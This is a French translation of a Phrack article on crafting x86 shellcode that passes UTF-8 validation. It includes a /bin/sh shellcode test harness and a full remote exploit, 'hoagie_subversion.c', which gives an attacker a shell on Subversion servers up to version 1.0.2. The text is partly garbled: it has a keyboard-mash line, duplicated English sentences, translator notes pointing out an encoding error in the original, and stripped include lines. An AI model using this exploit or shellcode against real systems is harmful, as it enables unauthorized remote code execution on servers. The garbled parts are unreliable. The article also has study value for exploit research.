==Phrack Inc.== Volume 0x0b, Issue 0x3e, Phile #0x03 of 0x00 |=------------------[ Ecriture de shellcodes UTF-8 ]--------------------=| |=----------------------------------------------------------------------=| |=-----------[ Thomas Wana aka. greuff ]--------------=| |=----------------------------------------------------------------------=| 1 - Résumé 2 - Qu'est-ce que UTF-8? 2.1 - UTF-8 en détail 2.2 - Avantages à utiliser UTF-8 3 - Ce qui est nécessaire pour faire des shellcodes UTF-8 3.1. - Séquences UTF-8 3.1.1 - Séquences possibles 3.1.2 - Formes UTF-8 les plus courtes 3.1.3 - Séquences UTF-8 valides 4 - Création du shellcode 4.1 - Bytes that come in handy 4.1.1 - Octets de continuation 4.1.2 - Masking continuation bytes 4.1.3 - Enchaîner les instructions 4.2 - Règles générales de conception 4.3 - Tester le code 5 - A working example 5.1 - Le shellcode original 5.2 - UTF-8-ify 5.3 - Let's try it out 5.4 - Un exploit réel utilisant ces techniques 6. - Considérations 6.1 - Convertisseur de shellcode automatisé 6.2 - UTF-8 dans les fichiers XML 7 - Remerciements, mot de la fin - ---------------------------------------------------------------------------- - ---[ 1. Résumé Cet article traite de la création de shellcode qui sont reconnus comme valides par n'importe quel parser UTF-8. Le problème n'est pas très éloigné de celui rencontré lors de la création de shellcodes alpha numériques décrits par rix dans le phrack 57 [4], mais heureusement nous avons bien plus de caractères disponibles, donc nous pouvons toujours construire un shellcode compatible avec UTF-8 et qui fait ce que l'on veut. Je vais vous faire une brève introduction à UTF-8 et souligner les différents caractères disponibles pour la construction de shellcodes. Vous verrez qu'il est généralement possible de construire un shellcode compatible avec UTF-8, mais vous aurez à réfléchir un peu. Un exemple qui marche est fourni à la fin de l'article pour référence. - ---------------------------------------------------------------------------- - ---[ 2. Qu'est-ce qu'UTF-8? Pour une bonne introduction au sujet, je recommande grandement la lecture de "UTF-8 and Unicode FAQ" [1] par Markus Kuhn. UTF-8 est un encodage de caractère, adéquat pour représenter l'ensemble des 2^31 caractères définits dans le standard UNICODE. Ce qui est vraiment bien avec UTF-8 est que tous les caractères ASCII (les page de codes inférieures dans les encodings standard comme ISO-8859-1 etc) sont les mêmes dans UTF-8 - il n'y a pas de conversion nécessaire. Cela veut dire, que dans le meilleur des cas, tous vos fichiers de configuration dans /etc et tout document texte Anglais que vous avez sur votre ordinateur est sont valides à 100% pour UTF-8. Les caractères unicodes sont écrits comme ceci: U-0000007F, qui signifie "le 128e caractère dans l'espace Unicode". Vous pouvez voir qu'avec cette représentation on peut facilement represénter l'ensemble des 2^31 que le standard Unicode défini et - plus important encore - rend la transition en Unicode très difficile (amusez vous à convertir tous les fichiers que vous avez). "Hello" serait encodé de cette manière: U-00000047 U-00000065 U-0000006C U-0000006C U-0000006F qui est en hexa: \x47\x00\x00\x00 \x65\x00\x00\x00 \x6C\x00\x00\x00 \x6C\x00\x00\x00 \x6F\x00\x00\x00 (pour tous vos amis little endian). Quelle gaspillage d'espace! 20 octets pour 5 caractères... Le même texte en UTF-8: "Hello" :-) Jetons un coup d'oeil à l'encoding plus en détail. - ---[ 2.1. UTF-8 en detail UTF-8 peut représenter n'importe quel caractère Unicode avec une séquence UTF-8 entre 1 et 6 octets. Comme je lai déjà dis avant, les caractères de la page de code inférieure (ASCII-code) sont les mêmes en Unicode - ils ont les valeurs comprises entre U-00000000 et U-0000007F. Vous n'avez donc besoin que de 7bits pour représenter toutes les valeurs possibles. UTF-8 dit, que si vous n'avez besoin que de 7bits pour votre caractère, alors fourrer le dans un octet. Les caractères Unicode qui ont des valeurs supérieures à U-0000007F doivent être mappées dans deux octets ou plus, comme la table ci- dessous le montre: U-00000000 - U-0000007F: 0xxxxxxx U-00000080 - U-000007FF: 110xxxxx 10xxxxxx U-00000800 - U-0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx U-00010000 - U-001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx U-00200000 - U-03FFFFFF: 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx U-04000000 - U-7FFFFFFF: 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx Exemple: U-000000C4 (LATIN CAPITAL LETTER A WITH DIAERESIS) La valeur de ce caractère est comprise entre U-00000080 et U-000007FF, donc nous devons l'encoder en utilisant deux octets. 0xC4 est 11000100 en binaire. UTF-8 remplit les emplacements marqués 'x' avec ces bits, commençant par les bits les moins signifiants. 110xxxxx 10xxxxxx + 11 000100 ----------------- 11000011 10000100 qui donne 0xC3 et 0x84 en UTF-8. Exemple: U-0000211C (BLACK-LETTER CAPITAL R) La même chose ici. D'après la table ci-dessus, nous avons besoin de 3 octets pour encoder ce caractère. 0x211C est 00100001 00011100 en binaire. Remplissons les blancs: 1110xxxx 10xxxxxx 10xxxxxx 10xxxxxx + 00 100001 000100 011100 ----------------------------------- 11100000 10100001 10000100 10011100 qui est 0xE0 0xB1 0x84 0x9C en UTF-8. [NdT: ya pas comme un problème là ? chez moi ça fait 4 octets... J'aurai plutôt fait: 1110xxxx 10xxxxxx 10xxxxxx + 0010 000100 011100 ----------------------------------- 11100010 10000100 10011100 qui est 0xE2 0x84 0x9C en UTF-8 .. mais j'ai ptet rien compris] J'espère que vous avez compris maintenant :-) - ---[ 2.2. Avantages à utiliser UTF-8 UTF-8 combine la flexibilité d'Unicode ( avec la facilité des encodages traditionnels. Donc, la transition pour apporter le support d'UTF-8 à travers le monde est facile à faire, car tout fichier-texte-ASCII-7-bits qui existe déjà (et existait depuis les années 60) sera valide dans le futur aussi, sans aucune modification. Pensez à tous vos fichiers de configuration! - ---------------------------------------------------------------------------- - ---] 3. Ce qui est nécessaire pour faire des shellcodes UTF-8 Donc, comme nous savons maintenant que UTF-8 nous sauvera tous dans le futur, pourquoi aurions nous besoin de shellcodes compatibles UTF-8? Et bien, UTF-8 est l'encodage par défaut pour XML, et comme de plus en plus de protocoles commencent à utiliser XML et que de plus en plus de daemons réseaux utilisent ces protocoles, les chances de trouver une vulnérabilité dans ce genre de programme augmente. De plus, qsdqsfsdfdsfgsdfgdsgsdfgsdfg Ainsi, tot ou tard, vous deborderez un buffer avec des données UTF-8. Et là vous voudrez des données exécutables ET valides en UTF-8. - ---] 3.1. Séquences UTF-8 Heureusement, la situation n'est _tellement_ desespérée, comparé aux shellcodes alphanumériques. Avec ces derniers, nous avons seulement un jeu de caractère extrèmement limité, et cela limite vraiment les instructions disponibles. Avec UTF-8, nous avons un espace de caractères bien plus grand, mais il y a un problème: nous sommes limités au niveau de la _séquence_ des caractères. Par exemple, avec les shellcodes alphanumériques nous nous fichons que la séquence soit "AAAC" ou "CAAA" (excepté bien sûr pour le fait qu'il faut que les instructions veuillent dire quelque chose :)) Mais avec UTF-8, par exemple, 0xBF ne doit pas suivre 0xBF. Seuls certains octets peuvent suivre d'autres octets. C'est là qu'est toute la magie des shellcodes UTF-8. - ---] 3.1.1. Séquences possibles Let's look into the available "UTF-8-codespace" more closely: U-00000000 - U-0000007F: 0xxxxxxx = 0 - 127 = 0x00 - 0x7F C'est tout comme pour les shellcodes alphanumériques - tout caractère peut suivre n'importe quel caractère, donc 0x41 0x42 0x43 est bon, par exemple. U-00000080 - U-000007FF: 110xxxxx 10xxxxxx Premier octet: 0xC0 - 0xDF Deuxième octet: 0x80 - 0xBF Vous voyez le problème ici. Une séquence valide serait 0xCD 0x80 (vous vous rappelez cette séquence ? - int $0x80 :)), car l'octet suivant 0xCD doit être entre 0x80 et 0xBF. Une invalide séquence pourrait être 0xCD 0x41, n'importe quek parser UTF-8 s'arrêterait dessus. U-00000800 - U-0000FFFF: 1110xxxx 10xxxxxx 10xxxxxx Premier octet: 0xE0 - 0xEF Les 2 octets suivants: 0x80 - 0xBF Ainsi, si la séquence commence entre 0xE0 et 0xEF, il doit y avoir les deux octets suivants entre 0x80 et 0xBF. Heureusement nous pouvons souvent utiliser ici 0x90, qui correspond au nop. Mais nous en verrons plus là-dessus plus tard. U-00010000 - U-001FFFFF: 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx Premier octet: 0xF0 - 0xF7 Les 3 octets suivants: 0x80 - 0xBF Vous avez pigé le truc. U-00200000 - U-03FFFFFF: 111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx Premier octet: 0xF8 - 0xFB Les 4 octets suivants: 0x80 - 0xBF U-04000000 - U-7FFFFFFF: 1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx Premier octet: 0xFC - 0xFD Les 5 octets suivants: 0x80 - 0xBF Donc maintenant nous savons quels octets servent à quoi avec UTF-8: 0x00 - 0x7F sans problème 0x80 - 0xBF seulement comme un "octet de continuation" en milieu de séquence 0xC0 - 0xDF comme octet de début d'une séquence de 2 octets (1 octet de continuation) 0xE0 - 0xEF comme octet de début d'une séquence de 3 octets (2 octets de continuation) 0xF0 - 0xF7 comme octet de début d'une séquence de 4 octets (3 octets de continuation) 0xF8 - 0xFB comme octet de début d'une séquence de 5 octets (4 octets de continuation) 0xFC - 0xFD comme octet de début d'une séquence de 6 octets (5 octets de continuation) 0xFE - 0xFF pas utilisable! (actuellement, ils peuvent seulement être utilisés une fois dans un texte UTF-8 - la séquence 0xFF 0xFE marque le début d'un tel document) - ---] 3.1.2. Formes UTF-8 les plus courtes Malheureuement (pour nous), le Corrigendum #1 du standard Unicode [2] spécifie que les parsers UTF-8 ne doivent accepter que la "forme UTF-8 la plus courte" comme séquence valide. Quel est le problème? Et bien, sans cette règle, nous pourrions encoder le caractère U+0000000A (Line Feed) de différentes manières: 0x0A - ceci est la plus courte forme 0xC0 0x8A 0xE0 0x80 0x8A 0xF0 0x80 0x80 0x8A 0xF8 0x80 0x80 0x80 0x8A 0xFC 0x80 0x80 0x80 0x80 0x8A Ce serait un gros problème de sécurité, si les parsers UTF-8 acceptaient _toutes_ les formes possibles. Jetez un oeil à la routine strcmp - elle compare deux chaînes octet par octet pour dire si elles sont les mêmes ou pas (cela marche de la même manière pour les chaînes UTF-8). Un attaquant pourrait générer une chaîne avec une forme plus longue que nécessaire et ainsi bypasser les contrôle de comparaisons de chaînes, par exemple. A cause de cela, les parsers UTF-8 sont _obligés_ de n'accepter que la plus petite forme possible pour une séquence. Cela affecte les séquences qui commencent par un des modèles suivants d'agencement d'octets: 1100000x (10xxxxxx) 11100000 100xxxxx (10xxxxxx) 11110000 1000xxxx (10xxxxxx 10xxxxxx) 11111000 10000xxx (10xxxxxx 10xxxxxx 10xxxxxx) 11111100 100000xx (10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx) Désormais certaines séquences sont devenues invalides, par exemple 0xC0 0xAF, car le caractère UNICODE en résultant n'est pas encodé dans sa forme la plus courte. - ---] 3.1.3. Séquences UTF-8 valides Maintenant que nous savons ça, nous pouvons dire quelles séquences sont valides en UTF-8: Code Points 1er Octet 2e Octet 3e Octet 4e Octet U+0000..U+007F 00..7F U+0080..U+07FF C2..DF 80..BF U+0800..U+0FFF E0 A0..BF 80..BF U+1000..U+FFFF E1..EF 80..BF 80..BF U+10000..U+3FFFF F0 90..BF 80..BF 80..BF U+40000..U+FFFFF F1..F3 80..BF 80..BF 80..BF U+100000..U+10FFFF F4 80..8F 80..BF 80..BF [NdT: yaurai pas non plus celles là ?: +---------------------------------+ | | | F4..F7 80..BF 80..BF 80..BF | | F8 88..BF 80..BF 80..BF 80..BF | | F9..FB 80..BF 80..BF 80..BF 80..BF | | FC 84..BF 80..BF 80..BF 80..BF 80..BF | | FD 80..BF 80..BF 80..BF 80..BF 80..BF | | | +-+ enfin d'après le 3.1.2 c'est comme ça... +---------------------------+ Maintenant voyons comment crééer des shellcodes UTF-8! - ---------------------------------------------------------------------------- - ---] 4. Création du shellcode Avans de commencer, soyez sûr que vous construisiez un shellcode "standard", c'est-à-dire un shellcode qui n'a pas de limitations dans les instructions disponibles. Nous connaissons les caractères que nous pouvons utiliser et nous savons que nous devons faire attention aux séquences de caractère. Nous pouvons a priori transformer n'importe quel shellcode en shellcode compatible UTF-8, mais nous aurons souvent besoin de quelques trucs. - ---] 4.1. Bytes that come in hand Le plus gros problème quand vous construisez un shellcode UTF-8 est que vous devez trouver la bonne séquence. "\x31\xc9" // xor %ecx, %ecx "\x31\xdb" // xor %ebx, %ebx Nous commençons avec \x31. Pas de problème ici, \x31 est entre \x00 et \x7f, donc nous n'avons pas besoin d'octet de continuation. \xc9 est l'octet suivant. Woops - c'est entre \xc2 et \xdf, donc nous avons besoin d'un octet de continuation. Quel est l'octet d'après? \x31 - ce n'est pas un octet de continuation valide (ils doivent être ici entre \x80 et \x0bf). Donc nous devons insérer une instruction ici qui n'enlève pas sa fonction à notre code *et* qui rend la séquence UTF-8 valide. - ---] 4.1.1. Octets de continuation Nous sommes chanceux ici. L'instruction nop (\x90) est l'octet parfait de continuation et ne fait tout simplement rien :) (exception: vous ne pouvez pas l'utiliser si c'est le premier octet de continuation dans une séquence \xe1-\xef - regardez la table dans 3.1.3). [NdT: c'est pas plutôt dans les séquences commençant par \xe0 ?] Donc pour gérer le problème ci-dessus, nous ferons simplement les choses suivantes: "\x31\xc9" // xor %ecx, %ecx "\x90" // nop (UTF-8) "\x31\xdb" // xor %ebx, %ebx "\x90" // nop (UTF-8) (Je marque toujours les octets que j'ai inséré pour UTF-8 ainsi je ne les enlève pas accidentellement quand je procède à une optimisation par besoin d'espace) - ---] 4.1.2. Masking continuation bytes De plus, vous avez souvent des instructions qui commencet avec un octet de continuation, ex: le premier octet de l'instruction est entre \x80 et \xbf: "\x8d\x0c\x24" // lea (%esp,1),%ecx Cela veut dire que vous devez trouver une instruction qui est seulement longue d'un octet et est comprise entre \xc2 et \xdf. Le meilleur que j'ai trouvé ici est SALC [2]. C'est un opcode Intel *nondocumenté*, mais tous les CPU Intel (et compatibles) la supporte. La chose amusante est que même gdb retourne un "opcode invalide" ici. Mais ça marche :) L'opcode de SALC est \xd6 ainsi il marche très bien. Ce qui est moins bien c'est que cela a des effets secondaires. Cette instruction modifie %al indépendament du flag carry (regardez [3] pour plus de détails). Ainsi pensez toujours à ce qui peut arriver à votre registre %eax quand vous insérez cette instruction! Revenons à l'exemple, les modifications suivantes rendrent la séquence valide: "\xd6" // salc (UTF-8) "\x8d\x0c\x24" // lea (%esp,1),%ecx - ---] 4.1.3. Enchainer les instructions Si vous êtes chanceux, les instructions qui commencent avec des octets de continuations suivent des instructions qui nécessitent des octets de continuation, ainsi vous pouvez les enchaîner ensemble, sans insérer d'octet suplémentaire. Vous pouvez souvent gagner de l'espace de cette façon simplement en réarrangeant les instructions, ainsi pensez-y quand vous êtes un peu juste en espace. - ---] 4.2. Règles générales de conception %eax est le mal. Essayez d'éviter de l'utiliser dans des instructions qui le prennent comme paramètre car l'instruction contient alors souvent \xc0 qui est invalide en UTF-8. Utilisez quelque chose comme: xor %ebx, %ebx push %ebx pop %eax (pop %eax à un code d'instruction qui lui est propre - et un qui est très sympa à utiliser avec UTF-8 :) - ---] 4.3. Tester le code Comment pouvez vous tester le code? Utilisez iconv, il est fourni avec la glibc. Vous convertissez simplement du UTF-8 vers le UTF-16, et si il n'y a pas de message d'erreur alors la chaine est bien conforme a l'UTF-8. (Pourquoi UTF-16? How can you test the code? Use iconv, it comes with the glibc. You basically convert the UTF-8 to UTF-16, and if there are no error messages then the string is valid UTF-8. (Why UTF-16? UTF-8 sequences can yield character codes well beyond 0xFF, so the conversion would fail in the other direction if you would convert to LATIN1 or ASCII. Drove me nuts some time ago, because I always thought my UTF-8 was wrong...) Tout d'abord, une chaine UTF-8 invalide: greuff@pluto:/tmp$ hexdump -C test 00000000 31 c9 31 db |1.1.| 00000004 greuff@pluto:/tmp$ iconv -f UTF-8 -t UTF-16 test ÿþ1iconv: illegal input sequence at position 1 greuff@pluto:/tmp$ Et maintenant une chaine UTF-8 valide greuff@pluto:/tmp$ hexdump -C test 00000000 31 c9 90 31 db 90 |1..1..| 00000006 greuff@pluto:/tmp$ iconv -f UTF-8 -t UTF-16 test ÿþ1P1Ðgreuff@pluto:/tmp$ - ---------------------------------------------------------------------------- - ---] 5. Un exemple pratique Regardons maintenant quelque chose de plus pratique. Convertissons un shellcode classique /bin/sh-spawning en UTF-8. - ---] 5.1. Le shellcode original "\x31\xd2" // xor %edx,%edx "\x52" // push %edx "\x68\x6e\x2f\x73\x68" // push $0x68732f6e "\x68\x2f\x2f\x62\x69" // push $0x69622f2f "\x89\xe3" // mov %esp,%ebx "\x52" // push %edx "\x53" // push %ebx "\x89\xe1" // mov %esp,%ecx "\xb8\x0b\x00\x00\x00" // mov $0xb,%eax "\xcd\x80" // int $0x80 Le code prépare simplement la stack, change certains registres et jumpe dans l'espace kernel (int $0x80). - ---] 5.2. UTF-8-ify C'est un exemple facile, il n'y a pas de gros obstacles. Le seul problème sérieux est l'instruction "mov $0xb,%eax". Je suis un peu fatigué là, donc je copierai simplement %edx (dont nous sommes sûrs qu'il vaut 0 à cet instant) dans %eax et l'incrémenterai 11 fois :) Le nouveau shellcode ressemble à ça (mis dans un programme C pour que vous puissiez l'essayer): - ----------8<------------8<-------------8<------------8<--------------- #include char shellcode[]= "\x31\xd2" // xor %edx,%edx "\x90" // nop (UTF-8 - car l'octet précédent est 0xd2) "\x52" // push %edx "\x68\x6e\x2f\x73\x68" // push $0x68732f6e "\x68\x2f\x2f\x62\x69" // push $0x69622f2f "\xd6" // salc (UTF-8 - car le prochain octet est 0x89) "\x89\xe3" // mov %esp,%ebx "\x90" // nop (UTF-8 - deux nops à cause du 0xe3) "\x90" // nop (UTF-8) "\x52" // push %edx "\x53" // push %ebx "\xd6" // salc (UTF-8 - car le prochain octet est 0x89) "\x89\xe1" // mov %esp,%ecx "\x90" // nop (UTF-8 - pareil ici) "\x90" // nop (UTF-8) "\x52" // push %edx "\x58" // pop %eax "\x40" // inc %eax "\x40" // inc %eax "\x40" // inc %eax "\x40" // inc %eax "\x40" // inc %eax "\x40" // inc %eax "\x40" // inc %eax "\x40" // inc %eax "\x40" // inc %eax "\x40" // inc %eax "\x40" // inc %eax "\xcd\x80" // int $0x80 ; void main() { int *ret; FILE *fp; fp=fopen("out","w"); fwrite(shellcode,strlen(shellcode),1,fp); fclose(fp); ret=(int *)(&ret+2); *ret=(int)shellcode; } - ----------8<------------8<-------------8<------------8<--------------- Comme vous pouvez le voir, j'ai utilisé des nops comme octets de continuation et également salc pour précéder des octets de continuation. Vous prendrez vite le coup de main si vous faîtes ce genre de choses souvent. - ---] 5.3. Essayons le greuff@pluto:/tmp$ gcc test.c -o test test.c: In function `main': test.c:37: warning: return type of `main' is not `int' greuff@pluto:/tmp$ ./test sh-2.05b$ exit exit greuff@pluto:/tmp$ hexdump -C out 00000000 31 d2 90 52 68 6e 2f 73 68 68 2f 2f 62 69 d6 89 |1..Rhn/shh//bi..| 00000010 e3 90 90 52 53 d6 89 e1 90 90 52 58 40 40 40 40 |...RS.....RX@@@@| 00000020 40 40 40 40 40 40 40 cd 80 |@@@@@@@..| 00000029 greuff@pluto:/tmp$ iconv -f UTF-8 -t UTF-16 out && echo valid! ÿþ1Rhn/shh//bi4RSRX@@@@@@@@@@@@valid! greuff@pluto:/tmp$ Hourra! :-) - ---] 5.4. Un exploit réel utilisant ces techniques Le récent débordement de buffer dans Subversion <= 1.0.2 m'a lancé dans la recherche sur ces problèmes et l'écriture de l'exploit suivant. Il n'est pas à 100% fini; mais il marche contre les URLS svn:// et http://. Le premier shellcode est un shellcode UTF-8 écrit à la main qui cherche le descripteur de socket puis charge un deuxième shellcode depuis l'exploit et l'exécute. Un exemple de la vie réelle qui vous montre que ces choses marchent actuellement :) - ----------8<------------8<-------------8<------------8<--------------- /***************************************************************** * hoagie_subversion.c * * Remote exploit against Subversion-Servers. * * Author: greuff * * Tested on Subversion 1.0.0 and 0.37 * * Algorithme: * C'est un exploit en deux temps. Durant la première étape l'exploit * provoque le débordement du buffer sur la pile et nous laisse * environ 60 octets de code machine à exécuter. Nous tentons de * trouver le descripteur de socket et ensuite de faire un read(2) * sur le socket. L'exploit envoie ensuite le chargeur de la * deuxième étape sur le serveur, qui peut être de n'importe quelle * taille (jusqu'aux limites raisonnables, bien sûr). Ce chargeur * lance /bin/sh sur le serveur et le connecte au descripteur de * socket. * * Crédits: * void.at * * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-CONCEPT. * THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY DAMAGE OR * CRIMINAL ACTIVITIES DONE USING THIS PROGRAM. * *****************************************************************/ #include #include #include #include #include #include #include #include #include #include #include enum protocol { SVN, SVNSSH, HTTP, HTTPS }; char stage1loader[]= // begin socket fd search "\x31\xdb" // xor %ebx, %ebx "\x90" // nop (UTF-8) "\x53" // push %ebx "\x58" // pop %eax "\x50" // push %eax "\x5f" // pop %edi # %eax = %ebx = %edi = 0 "\x2c\x40" // sub $0x40, %al "\x50" // push %eax "\x5b" // pop %ebx "\x50" // push %eax "\x5a" // pop %edx # %ebx = %edx = 0xC0 "\x57" // push %edi "\x57" // push %edi # safety-0 "\x54" // push %esp "\x59" // pop %ecx # %ecx = pointer to the buffer "\x4b" // dec %ebx # beginloop: "\x57" // push %edi "\x58" // pop %eax # clear %eax "\xd6" // salc (UTF-8) "\xb0\x60" // movb $0x60, %al "\x2c\x44" // sub $0x44, %al # %eax = 0x1C "\xcd\x80" // int $0x80 # fstat(i, &stat) "\x58" // pop %eax "\x58" // pop %eax "\x50" // push %eax "\x50" // push %eax "\x38\xd4" // cmp %dl, %ah # uppermost 2 bits of st_mode set? "\x90" // nop (UTF-8) "\x72\xed" // jb beginloop "\x90" // nop (UTF-8) "\x90" // nop (UTF-8) # %ebx now contains the socket fd // begin read(2) "\x57" // push %edi "\x58" // pop %eax # zero %eax "\x40" // inc %eax "\x40" // inc %eax "\x40" // inc %eax # %eax=3 //"\x54" // push %esp //"\x59" // pop %ecx # %ecx ... address of buffer //"\x54" // push %edi //"\x5a" // pop %edx # %edx ... bufferlen (0xC0) "\xcd\x80" // int $0x80 # read(2) second stage loader "\x39\xc7" // cmp %eax, %edi "\x90" // nop (UTF-8) "\x7f\xf3" // jg startover "\x90" // nop (UTF-8) "\x90" // nop (UTF-8) "\x90" // nop (UTF-8) "\x54" // push %esp "\xc3" // ret # execute second stage loader "\x90" // nop (UTF-8) "\0" // %ebx still contains the fd we can use in the 2nd stage loader. ; char stage2loader[]= // dup2 - %ebx contains the fd "\xb8\x3f\x00\x00\x00" // mov $0x3F, %eax "\xb9\x00\x00\x00\x00" // mov $0x0, %ecx "\xcd\x80" // int $0x80 "\xb8\x3f\x00\x00\x00" // mov $0x3F, %eax "\xb9\x01\x00\x00\x00" // mov $0x1, %ecx "\xcd\x80" // int $0x80 "\xb8\x3f\x00\x00\x00" // mov $0x3F, %eax "\xb9\x02\x00\x00\x00" // mov $0x2, %ecx "\xcd\x80" // int $0x80 // start /bin/sh "\x31\xd2" // xor %edx, %edx "\x52" // push %edx "\x68\x6e\x2f\x73\x68" // push $0x68732f6e "\x68\x2f\x2f\x62\x69" // push $0x69622f2f "\x89\xe3" // mov %esp, %ebx "\x52" // push %edx "\x53" // push %ebx "\x89\xe1" // mov %esp, %ecx "\xb8\x0b\x00\x00\x00" // mov $0xb, %eax "\xcd\x80" // int $0x80 "\xb8\x01\x00\x00\x00" // mov $0x1, %eax "\xcd\x80" // int %0x80 (exit) ; int stage2loaderlen=69; char requestfmt[]= "REPORT %s HTTP/1.1\n" "Host: %s\n" "User-Agent: SVN/0.37.0 (r8509) neon/0.24.4\n" "Content-Length: %d\n" "Content-Type: text/xml\n" "Connection: close\n\n" "%s\n"; char xmlreqfmt[]= "" "" "%s%c%c%c%c" ""; int parse_uri(char *uri,enum protocol *proto,char host[1000],int *port,char repos[1000]) { char *ptr; char bfr[1000]; ptr=strstr(uri,"://"); if(!ptr) return -1; *ptr=0; snprintf(bfr,sizeof(bfr),"%s",uri); if(!strcmp(bfr,"http")) *proto=HTTP, *port=80; else if(!strcmp(bfr,"svn")) *proto=SVN, *port=3690; else { printf("Unsupported protocol %s\n",bfr); return -1; } uri=ptr+3; if((ptr=strchr(uri,':'))) { *ptr=0; snprintf(host,1000,"%s",uri); uri=ptr+1; if((ptr=strchr(uri,'/'))==NULL) return -1; *ptr=0; snprintf(bfr,1000,"%s",uri); *port=(int)strtol(bfr,NULL,10); *ptr='/'; uri=ptr; } else if((ptr=strchr(uri,'/'))) { *ptr=0; snprintf(host,1000,"%s",uri); *ptr='/'; uri=ptr; } snprintf(repos,1000,"%s",uri); return 0; } int exec_sh(int sockfd) { char snd[4096],rcv[4096]; fd_set rset; while(1) { FD_ZERO(&rset); FD_SET(fileno(stdin),&rset); FD_SET(sockfd,&rset); select(255,&rset,NULL,NULL,NULL); if(FD_ISSET(fileno(stdin),&rset)) { memset(snd,0,sizeof(snd)); fgets(snd,sizeof(snd),stdin); write(sockfd,snd,strlen(snd)); } if(FD_ISSET(sockfd,&rset)) { memset(rcv,0,sizeof(rcv)); if(read(sockfd,rcv,sizeof(rcv))<=0) exit(0); fputs(rcv,stdout); } } } int main(int argc, char **argv) { int sock, port; size_t size; char cmd[1000], reply[1000], buffer[1000]; char svdcmdline[1000]; char host[1000], repos[1000], *ptr, *caddr; unsigned long addr; struct sockaddr_in sin; struct hostent *he; enum protocol proto; /*sock=open("output",O_CREAT|O_TRUNC|O_RDWR,0666); write(sock,stage1loader,strlen(stage1loader)); close(sock); return 0;*/ printf("hoagie_subversion - remote exploit against subversion servers\n" "by greuff@void.at\n\n"); if(argc!=3) { printf("Usage: %s serverurl offset\n\n",argv[0]); printf("Examples:\n" " %s svn://localhost/repository 0x41414141\n" " %s http://victim.com:6666/svn 0x40414336\n\n",argv[0],argv[0]); printf("The offset is an alphanumeric address (or UTF-8 to be\n" "more precise) of a pop instruction, followed by a ret.\n" "Brute force when in doubt.\n\n"); printf("When exploiting against an svn://-url, you can supply a\n" "binary offset too.\n\n"); exit(1); } // parse the URI snprintf(svdcmdline,sizeof(svdcmdline),"%s",argv[1]); if(parse_uri(argv[1],&proto,host,&port,repos)<0) { printf("URI parse error\n"); exit(1); } printf("parse_uri result:\n" "Protocol: %d\n" "Host: %s\n" "Port: %d\n" "Repository: %s\n\n",proto,host,port,repos); addr=strtoul(argv[2],NULL,16); caddr=(char *)&addr; printf("Using offset 0x%02x%02x%02x%02x\n",caddr[3],caddr[2],caddr[1],caddr[0]); sock=socket(AF_INET,SOCK_STREAM,0); if(sock<0) { perror("socket"); return -1; } he=gethostbyname(host); if(he==NULL) { herror("gethostbyname"); return -1; } sin.sin_family=AF_INET; sin.sin_port=htons(port); memcpy(&sin.sin_addr.s_addr,he->h_addr,sizeof(he->h_addr)); if(connect(sock,(struct sockaddr *)&sin,sizeof(sin))<0) { perror("connect"); return -1; } if(proto==SVN) { size=read(sock,reply,sizeof(reply)); reply[size]=0; printf("Server said: %s\n",reply); snprintf(cmd,sizeof(cmd),"( 2 ( edit-pipeline ) %d:%s ) ",strlen(svdcmdline),svdcmdline); write(sock,cmd,strlen(cmd)); size=read(sock,reply,sizeof(reply)); reply[size]=0; printf("Server said: %s\n",reply); strcpy(cmd,"( ANONYMOUS ( 0: ) ) "); write(sock,cmd,strlen(cmd)); size=read(sock,reply,sizeof(reply)); reply[size]=0; printf("Server said: %s\n",reply); snprintf(cmd,sizeof(cmd),"( get-dated-rev ( %d:%s%c%c%c%c ) ) ",strlen(stage1loader)+4,stage1loader, caddr[0],caddr[1],caddr[2],caddr[3]); write(sock,cmd,strlen(cmd)); size=read(sock,reply,sizeof(reply)); reply[size]=0; printf("Server said: %s\n",reply); } else if(proto==HTTP) { // preparing the request... snprintf(buffer,sizeof(buffer),xmlreqfmt,stage1loader, caddr[0],caddr[1],caddr[2],caddr[3]); size=strlen(buffer); snprintf(cmd,sizeof(cmd),requestfmt,repos,host,size,buffer); // now sending the request, immediately followed by the 2nd stage loader printf("Sending:\n%s",cmd); write(sock,cmd,strlen(cmd)); sleep(1); write(sock,stage2loader,stage2loaderlen); } // SHELL LOOP printf("Entering shell loop...\n"); exec_sh(sock); /*sleep(1); close(sock); printf("\nConnecting to the shell...\n"); exec_sh(connect_sh()); */ return 0; } - ----------8<------------8<-------------8<------------8<--------------- - ---------------------------------------------------------------------------- - ---] 6. Considérations Quelques réflexions sur le sujet. - ---] 6.1. Convertisseur automatisé de shellcode Peut-être est-il possible d'écrire un Convertisseur automatisé de shellcode qui prend en argument un shellcode et en ressort un shellcode compatible avec UTF-8 (similaire au compileur de shellcodes alphanumériques de rix [4]), mais ce serait un challenge. Beaucoup de décisions durant le processus de transformation ne pourraient être automatisées d'après moi. (les shellcodes alphanumériques sont bien évidemment compatible avec UTF-8! Ainsi si vous voulez gagner du temps et de l'espace ce n'est pas un problème, utilisez simplement le compileur de shellcodes alphanumériques sur votre shellcode et utilisez le!) - ---] 6.2. UTF-8 dans les fichiers XML Quand vous écrivez un shellcode UTF-8 dans le but de l'envoyer à un document XML, vous devez faire attention à quelques petites choses en plus. Les octets \x00 à \x08 sont interdits en XML, de la même façon que les caractères comme '<', '>' et ainsi de suite. N'oubliez pas ça quand vous exploitez votre application de traitement XML favorite! - ---------------------------------------------------------------------------- - ---] 7. Remerciements, mot de la fin andi@void.at (man, get a nick :)) soletario (the indoor snowboarder) ReAction all the other people who often helped me out - ---------------------------------------------------------------------------- [1] http://www.cl.cam.ac.uk/~mgk25/unicode.html [2] http://www.unicode.org/versions/corrigendum1.html [3] http://www.x86.org/secrets/opcodes/salc.htm [4] http://www.phrack.org/show.php?p=57&a=15 |=[ EOF ]=---------------------------------------------------------------=|